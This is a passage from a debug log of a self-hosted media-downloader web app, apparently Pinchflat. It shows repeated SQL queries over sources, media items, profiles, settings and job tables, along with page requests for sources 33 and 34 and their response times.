"media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.186 [debug] QUERY OK source="media_items" db=1.1ms idle=0.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.187 [debug] QUERY OK source="sources" db=0.9ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.187 [debug] QUERY OK source="media_items" db=3.0ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.187 [debug] QUERY OK source="media_items" db=2.0ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.188 [info] Sent 200 in 36ms 06:46:02.188 [debug] QUERY OK source="sources" db=1.3ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.189 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 06:46:02.189 [info] Sent 200 in 36ms 06:46:02.189 [info] Sent 200 in 37ms 06:46:02.189 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 06:46:02.190 [debug] QUERY OK source="media_items" db=1.7ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.191 [debug] QUERY OK source="media_items" db=1.3ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.192 [info] Sent 200 in 39ms 06:46:02.192 [info] Sent 200 in 40ms 06:46:02.235 [info] GET /sources/33/edit 06:46:02.235 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:46:02.236 [debug] QUERY OK source="sources" db=0.2ms idle=47.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.236 [debug] QUERY OK source="media_profiles" db=0.1ms idle=47.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.237 [debug] QUERY OK source="settings" db=0.1ms idle=47.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.237 [debug] QUERY OK source="settings" db=0.0ms idle=46.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.237 [debug] QUERY OK source="settings" db=0.1ms idle=46.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.240 [info] Sent 200 in 4ms 06:46:02.346 [info] GET /sources/33/ 06:46:02.347 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:46:02.348 [debug] QUERY OK source="sources" db=0.4ms idle=111.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.349 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=111.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.351 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=112.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 06:46:02.352 [debug] QUERY OK source="oban_jobs" db=0.7ms queue=0.1ms idle=113.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 06:46:02.353 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=20.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.354 [debug] QUERY OK source="settings" db=0.6ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.356 [debug] QUERY OK source="settings" db=0.4ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.359 [debug] QUERY OK source="sources" db=0.5ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.362 [debug] QUERY OK source="media_items" db=1.5ms idle=8.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 06:46:02.365 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=9.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.366 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.369 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=11.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 06:46:02.371 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=10.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.374 [debug] QUERY OK source="sources" db=0.3ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.376 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=9.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 06:46:02.380 [debug] QUERY OK source="media_items" db=3.0ms queue=0.1ms idle=10.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.382 [info] GET /sources/34 06:46:02.382 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:46:02.384 [info] Sent 200 in 37ms 06:46:02.384 [debug] QUERY OK source="sources" db=1.2ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.386 [debug] QUERY OK source="media_profiles" db=1.8ms queue=0.1ms idle=13.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.387 [debug] QUERY OK source="tasks" db=0.4ms idle=13.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 06:46:02.388 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=11.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 06:46:02.389 [debug] QUERY OK source="settings" db=0.3ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.390 [debug] QUERY OK source="settings" db=0.3ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.391 [debug] QUERY OK source="settings" db=0.3ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.394 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 